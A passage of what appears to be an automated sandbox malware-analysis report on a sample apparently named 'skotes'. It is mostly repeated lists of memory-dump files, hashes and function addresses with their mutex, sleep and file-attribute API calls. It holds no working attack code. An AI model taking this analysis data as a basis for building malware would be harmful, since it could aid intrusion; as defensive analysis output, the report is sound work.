Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: b8b7494cb51ea6501981a03bbbabeabfb68e7cf653f5a01ca1672112e2cbb3a3
Instruction ID: a57c8a23b21e68ba02633a712fd32fdf2f577db74d126cc4501ac29487ee8681
Opcode Fuzzy Hash: b8b7494cb51ea6501981a03bbbabeabfb68e7cf653f5a01ca1672112e2cbb3a3
Instruction Fuzzy Hash: D73159327842409BEB18DF78DC89F6DB7B6EFD6310F248218E414AB7D5D77689808B52

Function 0094A418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0094A41B
Sleep.KERNELBASE(00000064,?), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: a67c31695d62f9cfc8855674b253d31f7f83d0afe7a68c0e91652af4b2f7d3ca
Instruction ID: 6cdd7f03ab268948919317bea69ec30f2eefcb95d397eacf429e58d2461ddc2f
Opcode Fuzzy Hash: a67c31695d62f9cfc8855674b253d31f7f83d0afe7a68c0e91652af4b2f7d3ca
Instruction Fuzzy Hash: 53314A32784100DBEB18DB78DC8DF6DB7A6EFC5310F248218E4549B6E5D77549808B52

Function 0094A54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0094A550
Sleep.KERNELBASE(00000064,?), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: c514f973239078e3f849ca56598b7c0a52258ed85c26dbaf79b64c83c098d4dd
Instruction ID: a4b5c0ff9e07fd752d0e53929eed7e219dadb0c3d4fe7b436775be29e30b13dc
Opcode Fuzzy Hash: c514f973239078e3f849ca56598b7c0a52258ed85c26dbaf79b64c83c098d4dd
Instruction Fuzzy Hash: 88313932785100CBEB18EB78DD89F6DB7A6EFC5314F248618F4589B6D6C73989808B52

Function 0094A682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0094A685
Sleep.KERNELBASE(00000064,?), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 34f5a4977ca97f57b866dbb63aa02a60e5c38eefaa0b65b71711edb30d3e4b07
Instruction ID: e6a19a028e775c9bdc719abe3f65895d827523d1314bf4a81ec4b4091743cc72
Opcode Fuzzy Hash: 34f5a4977ca97f57b866dbb63aa02a60e5c38eefaa0b65b71711edb30d3e4b07
Instruction Fuzzy Hash: F0312871B84200DBEB18DB78DC89F6DB7A6DFC5310F248618E418DB7E1C77589808B52

Function 0094A7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0094A7BA
Sleep.KERNELBASE(00000064,?), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: bcb303873f2fcccad9ae9669d409bd61055270d612af95fdab96dfb1c5b2e886
Instruction ID: ebccca09c04b9b105c2372b1333795ca1d6b1f4130eabac7fec5fbea0439f06a
Opcode Fuzzy Hash: bcb303873f2fcccad9ae9669d409bd61055270d612af95fdab96dfb1c5b2e886
Instruction Fuzzy Hash: E8315931B84105CBEB18DB78DD89F6DB7A6DFC5310F248318E414AB3E1D73589818B52

Function 0094A960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000064,?), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
